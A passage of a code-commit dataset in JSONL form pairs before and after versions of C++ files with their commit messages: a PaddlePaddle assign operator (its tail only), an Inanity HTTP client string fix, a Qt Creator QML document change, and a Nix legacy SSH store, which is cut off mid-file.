LoDTensorArray) The type of output \"\n              \"is the same as input X.\");\n    AddComment(R\"DOC(Assign Operator\n\nOut = X,  when type in [LoDTensor\/SelectedRows\/LoDTensorArray]\nraise error if the type is not listed above.\n)DOC\");\n  }\n};\n\ntemplate <typename T>\nclass AssignGradMaker : public framework::SingleGradOpMaker<T> {\n public:\n  using framework::SingleGradOpMaker<T>::SingleGradOpMaker;\n\n protected:\n  void Apply(GradOpPtr<T> op) const override {\n    op->SetType(\"assign\");\n    op->SetInput(\"X\", this->OutputGrad(\"Out\"));\n    op->SetOutput(\"Out\", this->InputGrad(\"X\"));\n  }\n};\n\nDECLARE_INPLACE_OP_INFERER(AssignOpInplaceInferer, {\"X\", \"Out\"});\n\n}  \/\/ namespace operators\n}  \/\/ namespace paddle\n\nnamespace ops = paddle::operators;\nnamespace plat = paddle::platform;\nREGISTER_OPERATOR(assign, ops::AssignOp,\n                  ops::AssignGradMaker<paddle::framework::OpDesc>,\n                  ops::AssignGradMaker<paddle::imperative::OpBase>,\n                  ops::AssignOpProtoMaker, ops::AssignOpInplaceInferer,\n                  ops::AssignInferVarType);\n\nREGISTER_OP_CPU_KERNEL_FUNCTOR(assign, float, ops::AssignKernel, double,\n                               ops::AssignKernel, int, ops::AssignKernel,\n                               int64_t, ops::AssignKernel, uint8_t,\n                               ops::AssignKernel, bool, ops::AssignKernel,\n                               plat::float16, ops::AssignKernel, plat::bfloat16,\n                               ops::AssignKernel);\n\n#if defined(PADDLE_WITH_CUDA) || defined(PADDLE_WITH_HIP)\nREGISTER_OP_CUDA_KERNEL_FUNCTOR(assign, float, ops::AssignKernel, double,\n                                ops::AssignKernel, int, ops::AssignKernel,\n                                int64_t, ops::AssignKernel, uint8_t,\n                                ops::AssignKernel, bool, ops::AssignKernel,\n                                plat::float16, ops::AssignKernel);\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"HttpClient.hpp\"\n#include \"EventLoop.hpp\"\n#include \"OutputStream.hpp\"\n#include \"ClientSocket.hpp\"\n#include \"HttpResponseStream.hpp\"\n#include \"Exception.hpp\"\n#include <cstdlib>\n#include <sstream>\n\n\/\/ простой URL-парсер, выделяющий хост, порт и путь\nstatic void parseUrl(const String& url, String& host, int& port, String& path)\n{\n\ttry\n\t{\n\t\t\/\/ проверить, что URL начинается с http:\/\/\n\t\tstatic const char* protocol = \"http:\/\/\";\n\t\tstatic const size_t protocolLength = 7;\n\t\tif(url.length() < protocolLength || url.compare(0, protocolLength, protocol) != 0)\n\t\t\tTHROW_PRIMARY_EXCEPTION(\"http:\/\/ not found\");\n\n\t\t\/\/ найти слеш, отделяющий хост и порт от пути\n\t\tsize_t pathSlashPos = url.find('\/', protocolLength);\n\t\tif(pathSlashPos == url.npos)\n\t\t\tTHROW_PRIMARY_EXCEPTION(\"Path begin slash not found\");\n\t\tpath = url.substr(pathSlashPos);\n\n\t\t\/\/ найти двоеточие, обозначающее порт\n\t\tsize_t portColonPos = url.find(':', protocolLength);\n\t\tif(portColonPos == url.npos || portColonPos >= pathSlashPos)\n\t\t{\n\t\t\t\/\/ если порт не указан\n\t\t\thost = url.substr(protocolLength, pathSlashPos - protocolLength);\n\t\t\tport = 80;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ если порт указан\n\t\t\thost = url.substr(protocolLength, portColonPos - protocolLength);\n\t\t\tport = atoi(url.substr(portColonPos + 1, pathSlashPos - portColonPos - 1).c_str());\n\t\t}\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY_EXCEPTION(\"URL must be of form http:\/\/<host>[:<port>]\/[query]\", exception);\n\t}\n}\n\nHttpClient::ConnectHandler::ConnectHandler(const String& host, int port, const String& path, ptr<OutputStream> outputStream) :\n\toutputStream(outputStream)\n{\n\tstd::ostringstream request;\n\trequest << \"GET \" << path << \" HTTP\/1.1\\r\\n\";\n\trequest << \"Connection: close\\r\\n\";\n\trequest << \"Host: \" << host;\n\tif(port != 80)\n\t\trequest << \":\" << port;\n\trequest << \"\\r\\n\";\n\trequest << \"User-Agent: Inanity\/1.0\\r\\n\";\n\trequest << \"\\r\\n\";\n\tthis->request = request.str();\n}\n\nvoid HttpClient::ConnectHandler::OnEvent(ptr<ClientSocket> socket)\n{\n\tif(!socket)\n\t{\n\t\toutputStream->Flush();\n\t\treturn;\n\t}\n\n\t\/\/ указать, куда записывать ответ\n\tsocket->SetStreamToWriteInput(NEW(HttpResponseStream(outputStream)));\n\t\/\/ отправить HTTP-запрос\n\tsocket->GetOutputStream()->Write(request.c_str(), request.length());\n}\n\nvoid HttpClient::Fetch(ptr<EventLoop> eventLoop, const String& url, ptr<OutputStream> outputStream)\n{\n\ttry\n\t{\n\t\tString host, path;\n\t\tint port;\n\t\tparseUrl(url, host, port, path);\n\t\teventLoop->Connect(host, port, NEW(ConnectHandler(host, port, path, outputStream)));\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY_EXCEPTION(\"Can't fetch http\", exception);\n\t}\n}\n<commit_msg>string fix<commit_after>#include \"HttpClient.hpp\"\n#include \"EventLoop.hpp\"\n#include \"OutputStream.hpp\"\n#include \"ClientSocket.hpp\"\n#include \"HttpResponseStream.hpp\"\n#include \"Exception.hpp\"\n#include <cstdlib>\n#include <sstream>\n\n\/\/ простой URL-парсер, выделяющий хост, порт и путь\nstatic void parseUrl(const String& url, String& host, int& port, String& path)\n{\n\ttry\n\t{\n\t\t\/\/ проверить, что URL начинается с http:\/\/\n\t\tstatic const char* protocol = \"http:\/\/\";\n\t\tstatic const size_t protocolLength = 7;\n\t\tif(url.length() < protocolLength || url.compare(0, protocolLength, protocol) != 0)\n\t\t\tTHROW_PRIMARY_EXCEPTION(\"http:\/\/ not found\");\n\n\t\t\/\/ найти слеш, отделяющий хост и порт от пути\n\t\tsize_t pathSlashPos = url.find('\/', protocolLength);\n\t\tif(pathSlashPos == url.npos)\n\t\t\tTHROW_PRIMARY_EXCEPTION(\"Path begin slash not found\");\n\t\tpath = url.substr(pathSlashPos);\n\n\t\t\/\/ найти двоеточие, обозначающее порт\n\t\tsize_t portColonPos = url.find(':', protocolLength);\n\t\tif(portColonPos == url.npos || portColonPos >= pathSlashPos)\n\t\t{\n\t\t\t\/\/ если порт не указан\n\t\t\thost = url.substr(protocolLength, pathSlashPos - protocolLength);\n\t\t\tport = 80;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ если порт указан\n\t\t\thost = url.substr(protocolLength, portColonPos - protocolLength);\n\t\t\tport = atoi(url.substr(portColonPos + 1, pathSlashPos - portColonPos - 1).c_str());\n\t\t}\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY_EXCEPTION(\"URL must be of form http:\/\/<host>[:<port>]\/[<query>]\", exception);\n\t}\n}\n\nHttpClient::ConnectHandler::ConnectHandler(const String& host, int port, const String& path, ptr<OutputStream> outputStream) :\n\toutputStream(outputStream)\n{\n\tstd::ostringstream request;\n\trequest << \"GET \" << path << \" HTTP\/1.1\\r\\n\";\n\trequest << \"Connection: close\\r\\n\";\n\trequest << \"Host: \" << host;\n\tif(port != 80)\n\t\trequest << \":\" << port;\n\trequest << \"\\r\\n\";\n\trequest << \"User-Agent: Inanity\/1.0\\r\\n\";\n\trequest << \"\\r\\n\";\n\tthis->request = request.str();\n}\n\nvoid HttpClient::ConnectHandler::OnEvent(ptr<ClientSocket> socket)\n{\n\tif(!socket)\n\t{\n\t\toutputStream->Flush();\n\t\treturn;\n\t}\n\n\t\/\/ указать, куда записывать ответ\n\tsocket->SetStreamToWriteInput(NEW(HttpResponseStream(outputStream)));\n\t\/\/ отправить HTTP-запрос\n\tsocket->GetOutputStream()->Write(request.c_str(), request.length());\n}\n\nvoid HttpClient::Fetch(ptr<EventLoop> eventLoop, const String& url, ptr<OutputStream> outputStream)\n{\n\ttry\n\t{\n\t\tString host, path;\n\t\tint port;\n\t\tparseUrl(url, host, port, path);\n\t\teventLoop->Connect(host, port, NEW(ConnectHandler(host, port, path, outputStream)));\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY_EXCEPTION(\"Can't fetch http\", exception);\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"qmljsidcollector.h\"\n#include \"qmljsdocument.h\"\n#include <qmljs\/parser\/qmljsast_p.h>\n#include <qmljs\/parser\/qmljslexer_p.h>\n#include <qmljs\/parser\/qmljsparser_p.h>\n#include <qmljs\/parser\/qmljsnodepool_p.h>\n#include <qmljs\/parser\/qmljsastfwd_p.h>\n#include <QtCore\/QDir>\n\nusing namespace QmlJS;\nusing namespace QmlJS;\nusing namespace QmlJS::AST;\n\nDocument::Document(const QString &fileName)\n    : _engine(0)\n    , _pool(0)\n    , _ast(0)\n    , _documentRevision(0)\n    , _parsedCorrectly(false)\n    , _fileName(fileName)\n{\n    QFileInfo fileInfo(fileName);\n    _path = fileInfo.absolutePath();\n    _componentName = fileInfo.baseName();\n    if (! _componentName.isEmpty()) {\n        \/\/ ### TODO: check the component name.\n        if (! _componentName.at(0).isUpper())\n            _componentName.clear();\n    }\n}\n\nDocument::~Document()\n{\n    if (_engine)\n        delete _engine;\n\n    if (_pool)\n        delete _pool;\n\n    qDeleteAll(_symbols);\n}\n\nDocument::Ptr Document::create(const QString &fileName)\n{\n    Document::Ptr doc(new Document(fileName));\n    return doc;\n}\n\nAST::UiProgram *Document::qmlProgram() const\n{\n    return cast<UiProgram *>(_ast);\n}\n\nAST::Program *Document::jsProgram() const\n{\n    return cast<Program *>(_ast);\n}\n\nAST::ExpressionNode *Document::expression() const\n{\n    if (_ast)\n        return _ast->expressionCast();\n\n    return 0;\n}\n\nAST::Node *Document::ast() const\n{\n    return _ast;\n}\n\nQList<DiagnosticMessage> Document::diagnosticMessages() const\n{\n    return _diagnosticMessages;\n}\n\nQString Document::source() const\n{\n    return _source;\n}\n\nvoid Document::setSource(const QString &source)\n{\n    _source = source;\n}\n\nint Document::documentRevision() const\n{\n    return _documentRevision;\n}\n\nvoid Document::setDocumentRevision(int revision)\n{\n    _documentRevision = revision;\n}\n\nbool Document::parseQml()\n{\n    Q_ASSERT(! _engine);\n    Q_ASSERT(! _pool);\n    Q_ASSERT(! _ast);\n\n    _engine = new Engine();\n    _pool = new NodePool(_fileName, _engine);\n    _ids.clear();\n\n    Lexer lexer(_engine);\n    Parser parser(_engine);\n\n    lexer.setCode(_source, \/*line = *\/ 1);\n\n    _parsedCorrectly = parser.parse();\n    _ast = parser.ast();\n    _diagnosticMessages = parser.diagnosticMessages();\n\n    if (qmlProgram()) {\n        for (QmlJS::AST::UiObjectMemberList *iter = qmlProgram()->members; iter; iter = iter->next)\n            if (iter->member)\n                _symbols.append(new SymbolFromFile(_fileName, iter->member));\n\n         Internal::IdCollector collect;\n        _ids = collect(*this);\n        if (_diagnosticMessages.isEmpty())\n            _diagnosticMessages = collect.diagnosticMessages();\n    }\n\n    return _parsedCorrectly;\n}\n\nbool Document::parseJavaScript()\n{\n    Q_ASSERT(! _engine);\n    Q_ASSERT(! _pool);\n    Q_ASSERT(! _ast);\n\n    _engine = new Engine();\n    _pool = new NodePool(_fileName, _engine);\n    _ids.clear();\n\n    Lexer lexer(_engine);\n    Parser parser(_engine);\n\n    lexer.setCode(_source, \/*line = *\/ 1);\n\n    _parsedCorrectly = parser.parseProgram();\n    _ast = cast<Program*>(parser.rootNode());\n    _diagnosticMessages = parser.diagnosticMessages();\n\n    return _parsedCorrectly;\n}\n\nbool Document::parseExpression()\n{\n    Q_ASSERT(! _engine);\n    Q_ASSERT(! _pool);\n    Q_ASSERT(! _ast);\n\n    _engine = new Engine();\n    _pool = new NodePool(_fileName, _engine);\n    _ids.clear();\n\n    Lexer lexer(_engine);\n    Parser parser(_engine);\n\n    lexer.setCode(_source, \/*line = *\/ 1);\n\n    _parsedCorrectly = parser.parseExpression();\n    _ast = parser.rootNode();\n    if (_ast)\n        _ast = _ast->expressionCast();\n    _diagnosticMessages = parser.diagnosticMessages();\n\n    return _parsedCorrectly;\n}\n\nSymbolFromFile *Document::findSymbol(QmlJS::AST::Node *node) const\n{\n    foreach (Symbol *symbol, _symbols)\n        if (symbol->isSymbolFromFile())\n            if (symbol->asSymbolFromFile()->node() == node)\n                return symbol->asSymbolFromFile();\n\n    return 0;\n}\n\nSnapshot::Snapshot()\n{\n}\n\nSnapshot::~Snapshot()\n{\n}\n\nvoid Snapshot::insert(const Document::Ptr &document)\n{\n    if (document && (document->qmlProgram() || document->jsProgram()))\n        _documents.insert(document->fileName(), document);\n}\n\nDocument::PtrList Snapshot::importedDocuments(const Document::Ptr &doc, const QString &importPath) const\n{\n    \/\/ ### TODO: maybe we should add all imported documents in the parse Document::parse() method, regardless of whether they're in the path or not.\n\n    Document::PtrList result;\n\n    QString docPath = doc->path();\n    docPath += QLatin1Char('\/');\n    docPath += importPath;\n    docPath = QDir::cleanPath(docPath);\n\n    foreach (Document::Ptr candidate, _documents) {\n        if (candidate == doc)\n            continue; \/\/ ignore this document\n        else if (! candidate->qmlProgram())\n            continue; \/\/ skip JS documents\n\n        if (candidate->path() == doc->path() || candidate->path() == docPath)\n            result.append(candidate);\n    }\n\n    return result;\n}\n\nQMap<QString, Document::Ptr> Snapshot::componentsDefinedByImportedDocuments(const Document::Ptr &doc, const QString &importPath) const\n{\n    QMap<QString, Document::Ptr> result;\n\n    const QString docPath = doc->path() + '\/' + importPath;\n\n    foreach (Document::Ptr candidate, *this) {\n        if (candidate == doc)\n            continue;\n\n        if (candidate->path() == doc->path() || candidate->path() == docPath)\n            result.insert(candidate->componentName(), candidate);\n    }\n\n    return result;\n}\n<commit_msg>Check the file extension before computing the component's name.<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"qmljsidcollector.h\"\n#include \"qmljsdocument.h\"\n#include <qmljs\/parser\/qmljsast_p.h>\n#include <qmljs\/parser\/qmljslexer_p.h>\n#include <qmljs\/parser\/qmljsparser_p.h>\n#include <qmljs\/parser\/qmljsnodepool_p.h>\n#include <qmljs\/parser\/qmljsastfwd_p.h>\n#include <QtCore\/QDir>\n\nusing namespace QmlJS;\nusing namespace QmlJS;\nusing namespace QmlJS::AST;\n\nDocument::Document(const QString &fileName)\n    : _engine(0)\n    , _pool(0)\n    , _ast(0)\n    , _documentRevision(0)\n    , _parsedCorrectly(false)\n    , _fileName(fileName)\n{\n    QFileInfo fileInfo(fileName);\n    _path = fileInfo.absolutePath();\n\n    if (fileInfo.suffix() == QLatin1String(\"qml\")) {\n        _componentName = fileInfo.baseName();\n\n        if (! _componentName.isEmpty()) {\n            \/\/ ### TODO: check the component name.\n\n            if (! _componentName.at(0).isUpper())\n                _componentName.clear();\n        }\n    }\n}\n\nDocument::~Document()\n{\n    if (_engine)\n        delete _engine;\n\n    if (_pool)\n        delete _pool;\n\n    qDeleteAll(_symbols);\n}\n\nDocument::Ptr Document::create(const QString &fileName)\n{\n    Document::Ptr doc(new Document(fileName));\n    return doc;\n}\n\nAST::UiProgram *Document::qmlProgram() const\n{\n    return cast<UiProgram *>(_ast);\n}\n\nAST::Program *Document::jsProgram() const\n{\n    return cast<Program *>(_ast);\n}\n\nAST::ExpressionNode *Document::expression() const\n{\n    if (_ast)\n        return _ast->expressionCast();\n\n    return 0;\n}\n\nAST::Node *Document::ast() const\n{\n    return _ast;\n}\n\nQList<DiagnosticMessage> Document::diagnosticMessages() const\n{\n    return _diagnosticMessages;\n}\n\nQString Document::source() const\n{\n    return _source;\n}\n\nvoid Document::setSource(const QString &source)\n{\n    _source = source;\n}\n\nint Document::documentRevision() const\n{\n    return _documentRevision;\n}\n\nvoid Document::setDocumentRevision(int revision)\n{\n    _documentRevision = revision;\n}\n\nbool Document::parseQml()\n{\n    Q_ASSERT(! _engine);\n    Q_ASSERT(! _pool);\n    Q_ASSERT(! _ast);\n\n    _engine = new Engine();\n    _pool = new NodePool(_fileName, _engine);\n    _ids.clear();\n\n    Lexer lexer(_engine);\n    Parser parser(_engine);\n\n    lexer.setCode(_source, \/*line = *\/ 1);\n\n    _parsedCorrectly = parser.parse();\n    _ast = parser.ast();\n    _diagnosticMessages = parser.diagnosticMessages();\n\n    if (qmlProgram()) {\n        for (QmlJS::AST::UiObjectMemberList *iter = qmlProgram()->members; iter; iter = iter->next)\n            if (iter->member)\n                _symbols.append(new SymbolFromFile(_fileName, iter->member));\n\n         Internal::IdCollector collect;\n        _ids = collect(*this);\n        if (_diagnosticMessages.isEmpty())\n            _diagnosticMessages = collect.diagnosticMessages();\n    }\n\n    return _parsedCorrectly;\n}\n\nbool Document::parseJavaScript()\n{\n    Q_ASSERT(! _engine);\n    Q_ASSERT(! _pool);\n    Q_ASSERT(! _ast);\n\n    _engine = new Engine();\n    _pool = new NodePool(_fileName, _engine);\n    _ids.clear();\n\n    Lexer lexer(_engine);\n    Parser parser(_engine);\n\n    lexer.setCode(_source, \/*line = *\/ 1);\n\n    _parsedCorrectly = parser.parseProgram();\n    _ast = cast<Program*>(parser.rootNode());\n    _diagnosticMessages = parser.diagnosticMessages();\n\n    return _parsedCorrectly;\n}\n\nbool Document::parseExpression()\n{\n    Q_ASSERT(! _engine);\n    Q_ASSERT(! _pool);\n    Q_ASSERT(! _ast);\n\n    _engine = new Engine();\n    _pool = new NodePool(_fileName, _engine);\n    _ids.clear();\n\n    Lexer lexer(_engine);\n    Parser parser(_engine);\n\n    lexer.setCode(_source, \/*line = *\/ 1);\n\n    _parsedCorrectly = parser.parseExpression();\n    _ast = parser.rootNode();\n    if (_ast)\n        _ast = _ast->expressionCast();\n    _diagnosticMessages = parser.diagnosticMessages();\n\n    return _parsedCorrectly;\n}\n\nSymbolFromFile *Document::findSymbol(QmlJS::AST::Node *node) const\n{\n    foreach (Symbol *symbol, _symbols)\n        if (symbol->isSymbolFromFile())\n            if (symbol->asSymbolFromFile()->node() == node)\n                return symbol->asSymbolFromFile();\n\n    return 0;\n}\n\nSnapshot::Snapshot()\n{\n}\n\nSnapshot::~Snapshot()\n{\n}\n\nvoid Snapshot::insert(const Document::Ptr &document)\n{\n    if (document && (document->qmlProgram() || document->jsProgram()))\n        _documents.insert(document->fileName(), document);\n}\n\nDocument::PtrList Snapshot::importedDocuments(const Document::Ptr &doc, const QString &importPath) const\n{\n    \/\/ ### TODO: maybe we should add all imported documents in the parse Document::parse() method, regardless of whether they're in the path or not.\n\n    Document::PtrList result;\n\n    QString docPath = doc->path();\n    docPath += QLatin1Char('\/');\n    docPath += importPath;\n    docPath = QDir::cleanPath(docPath);\n\n    foreach (Document::Ptr candidate, _documents) {\n        if (candidate == doc)\n            continue; \/\/ ignore this document\n        else if (! candidate->qmlProgram())\n            continue; \/\/ skip JS documents\n\n        if (candidate->path() == doc->path() || candidate->path() == docPath)\n            result.append(candidate);\n    }\n\n    return result;\n}\n\nQMap<QString, Document::Ptr> Snapshot::componentsDefinedByImportedDocuments(const Document::Ptr &doc, const QString &importPath) const\n{\n    QMap<QString, Document::Ptr> result;\n\n    const QString docPath = doc->path() + '\/' + importPath;\n\n    foreach (Document::Ptr candidate, *this) {\n        if (candidate == doc)\n            continue;\n\n        if (candidate->path() == doc->path() || candidate->path() == docPath)\n            result.insert(candidate->componentName(), candidate);\n    }\n\n    return result;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"archive.hh\"\n#include \"pool.hh\"\n#include \"remote-store.hh\"\n#include \"serve-protocol.hh\"\n#include \"store-api.hh\"\n#include \"worker-protocol.hh\"\n#include \"ssh.hh\"\n#include \"derivations.hh\"\n\nnamespace nix {\n\nstatic std::string uriScheme = \"ssh:\/\/\";\n\nstruct LegacySSHStore : public Store\n{\n    const Setting<int> maxConnections{this, 1, \"max-connections\", \"maximum number of concurrent SSH connections\"};\n    const Setting<Path> sshKey{this, \"\", \"ssh-key\", \"path to an SSH private key\"};\n    const Setting<bool> compress{this, false, \"compress\", \"whether to compress the connection\"};\n    const Setting<Path> remoteProgram{this, \"nix-store\", \"remote-program\", \"path to the nix-store executable on the remote system\"};\n    const Setting<std::string> remoteStore{this, \"\", \"remote-store\", \"URI of the store on the remote system\"};\n\n    \/\/ Hack for getting remote build log output.\n    const Setting<int> logFD{this, -1, \"log-fd\", \"file descriptor to which SSH's stderr is connected\"};\n\n    struct Connection\n    {\n        std::unique_ptr<SSHMaster::Connection> sshConn;\n        FdSink to;\n        FdSource from;\n        int remoteVersion;\n        bool good = true;\n    };\n\n    std::string host;\n\n    ref<Pool<Connection>> connections;\n\n    SSHMaster master;\n\n    LegacySSHStore(const string & host, const Params & params)\n        : Store(params)\n        , host(host)\n        , connections(make_ref<Pool<Connection>>(\n            std::max(1, (int) maxConnections),\n            [this]() { return openConnection(); },\n            [](const ref<Connection> & r) { return r->good; }\n            ))\n        , master(\n            host,\n            sshKey,\n            \/\/ Use SSH master only if using more than 1 connection.\n            connections->capacity() > 1,\n            compress,\n            logFD)\n    {\n    }\n\n    ref<Connection> openConnection()\n    {\n        auto conn = make_ref<Connection>();\n        conn->sshConn = master.startCommand(\n            fmt(\"%s --serve --write\", remoteProgram)\n            + (remoteStore.get() == \"\" ? \"\" : \" --store \" + shellEscape(remoteStore.get())));\n        conn->to = FdSink(conn->sshConn->in.get());\n        conn->from = FdSource(conn->sshConn->out.get());\n\n        try {\n            conn->to << SERVE_MAGIC_1 << SERVE_PROTOCOL_VERSION;\n            conn->to.flush();\n\n            unsigned int magic = readInt(conn->from);\n            if (magic != SERVE_MAGIC_2)\n                throw Error(\"protocol mismatch with 'nix-store --serve' on '%s'\", host);\n            conn->remoteVersion = readInt(conn->from);\n            if (GET_PROTOCOL_MAJOR(conn->remoteVersion) != 0x200)\n                throw Error(\"unsupported 'nix-store --serve' protocol version on '%s'\", host);\n\n        } catch (EndOfFile & e) {\n            throw Error(\"cannot connect to '%1%'\", host);\n        }\n\n        return conn;\n    };\n\n    string getUri() override\n    {\n        return uriScheme + host;\n    }\n\n    void queryPathInfoUncached(const StorePath & path,\n        Callback<std::shared_ptr<const ValidPathInfo>> callback) noexcept override\n    {\n        try {\n            auto conn(connections->get());\n\n            debug(\"querying remote host '%s' for info on '%s'\", host, printStorePath(path));\n\n            conn->to << cmdQueryPathInfos << PathSet{printStorePath(path)};\n            conn->to.flush();\n\n            auto p = readString(conn->from);\n            if (p.empty()) return callback(nullptr);\n            auto info = std::make_shared<ValidPathInfo>(parseStorePath(p));\n            assert(path == info->path);\n\n            PathSet references;\n            auto deriver = readString(conn->from);\n            if (deriver != \"\")\n                info->deriver = parseStorePath(deriver);\n            info->references = readStorePaths<StorePathSet>(*this, conn->from);\n            readLongLong(conn->from); \/\/ download size\n            info->narSize = readLongLong(conn->from);\n\n            if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 4) {\n                auto s = readString(conn->from);\n                info->narHash = s.empty() ? std::optional<Hash>{} : Hash::parseAnyPrefixed(s);\n                info->ca = parseContentAddressOpt(readString(conn->from));\n                info->sigs = readStrings<StringSet>(conn->from);\n            }\n\n            auto s = readString(conn->from);\n            assert(s == \"\");\n\n            callback(std::move(info));\n        } catch (...) { callback.rethrow(); }\n    }\n\n    void addToStore(const ValidPathInfo & info, Source & source,\n        RepairFlag repair, CheckSigsFlag checkSigs) override\n    {\n        debug(\"adding path '%s' to remote host '%s'\", printStorePath(info.path), host);\n\n        auto conn(connections->get());\n\n        if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 5) {\n\n            conn->to\n                << cmdAddToStoreNar\n                << printStorePath(info.path)\n                << (info.deriver ? printStorePath(*info.deriver) : \"\")\n                << info.narHash->to_string(Base16, false);\n            writeStorePaths(*this, conn->to, info.references);\n            conn->to\n                << info.registrationTime\n                << info.narSize\n                << info.ultimate\n                << info.sigs\n                << renderContentAddress(info.ca);\n            try {\n                copyNAR(source, conn->to);\n            } catch (...) {\n                conn->good = false;\n                throw;\n            }\n            conn->to.flush();\n\n        } else {\n\n            conn->to\n                << cmdImportPaths\n                << 1;\n            try {\n                copyNAR(source, conn->to);\n            } catch (...) {\n                conn->good = false;\n                throw;\n            }\n            conn->to\n                << exportMagic\n                << printStorePath(info.path);\n            writeStorePaths(*this, conn->to, info.references);\n            conn->to\n                << (info.deriver ? printStorePath(*info.deriver) : \"\")\n                << 0\n                << 0;\n            conn->to.flush();\n\n        }\n\n        if (readInt(conn->from) != 1)\n            throw Error(\"failed to add path '%s' to remote host '%s'\", printStorePath(info.path), host);\n    }\n\n    void narFromPath(const StorePath & path, Sink & sink) override\n    {\n        auto conn(connections->get());\n\n        conn->to << cmdDumpStorePath << printStorePath(path);\n        conn->to.flush();\n        copyNAR(conn->from, sink);\n    }\n\n    std::optional<StorePath> queryPathFromHashPart(const std::string & hashPart) override\n    { unsupported(\"queryPathFromHashPart\"); }\n\n    StorePath addToStore(const string & name, const Path & srcPath,\n        FileIngestionMethod method, HashType hashAlgo,\n        PathFilter & filter, RepairFlag repair) override\n    { unsupported(\"addToStore\"); }\n\n    StorePath addTextToStore(const string & name, const string & s,\n        const StorePathSet & references, RepairFlag repair) override\n    { unsupported(\"addTextToStore\"); }\n\n    BuildResult buildDerivation(const StorePath & drvPath, const BasicDerivation & drv,\n        BuildMode buildMode) override\n    {\n        auto conn(connections->get());\n\n        conn->to\n            << cmdBuildDerivation\n            << printStorePath(drvPath);\n        writeDerivation(conn->to, *this, drv);\n        conn->to\n            << settings.maxSilentTime\n            << settings.buildTimeout;\n        if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 2)\n            conn->to\n                << settings.maxLogSize;\n        if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 3)\n            conn->to\n                << settings.buildRepeat\n                << settings.enforceDeterminism;\n\n        conn->to.flush();\n\n        BuildResult status;\n        status.status = (BuildResult::Status) readInt(conn->from);\n        conn->from >> status.errorMsg;\n\n        if (GET_PROTOCOL_MINOR(conn->remoteVersion) >= 3)\n            conn->from >> status.timesBuilt >> status.isNonDeterministic >> status.startTime >> status.stopTime;\n\n        return status;\n    }\n\n    void ensurePath(const StorePath & path) override\n    { unsupported(\"ensurePath\"); }\n\n    void computeFSClosure(const StorePathSet & paths,\n        StorePathSet & out, bool flipDirection = false,\n        bool includeOutputs = false, bool includeDerivers = false) override\n    {\n        if (flipDirection || includeDerivers) {\n            Store::computeFSClosure(paths, out, flipDirection, includeOutputs, includeDerivers);\n            return;\n        }\n\n        auto conn(connections->get());\n\n        conn->to\n            << cmdQueryClosure\n            << includeOutputs;\n        writeStorePaths(*this, conn->to, paths);\n        conn->to.flush();\n\n        for (auto & i : readStorePaths<StorePathSet>(*this, conn->from))\n            out.insert(i);\n    }\n\n    StorePathSet queryValidPaths(const StorePathSet & paths,\n        SubstituteFlag maybeSubstitute = NoSubstitute) override\n    {\n        auto conn(connections->get());\n\n        conn->to\n            << cmdQueryValidPaths\n            << false \/\/ lock\n            << maybeSubstitute;\n        writeStorePaths(*this, conn->to, paths);\n        conn->to.flush();\n\n        return readStorePaths<StorePathSet>(*this, conn->from);\n    }\n\n    void connect() override\n    {\n        auto conn(connections->get());\n    }\n\n    unsigned int getProtocol() override\n    {\n        auto conn(connections->get());\n        return conn->remoteVersion;\n    }\n};\n\nstatic RegisterStoreImplementation regStore([](\n    const std::string & uri, const Store::Params & params)\n    -> std::shared_ptr<Store>\n{\n    if (std::string(uri, 0, uriScheme.size()) != uriScheme) return 0;\n    return std::make_shared<LegacySSHStore>(std::string(uri, uriScheme.size()), params);\n});\n\n}\n<commit_msg>Define `LegacySSHStore::buildPaths` using `cmdBuildPaths`<commit_after>#include \"archive.hh\"\n#include \"pool.hh\"\n#include \"remote-store.hh\"\n#include \"serve-protocol.hh\"\n#include \"store-api.hh\"\n#include \"worker-protocol.hh\"\n#include \"ssh.hh\"\n#include \"derivations.hh\"\n\nnamespace nix {\n\nstatic std::string uriScheme = \"ssh:\/\/\";\n\nstruct LegacySSHStore : public Store\n{\n    const Setting<int> maxConnections{this, 1, \"max-connections\", \"maximum number of 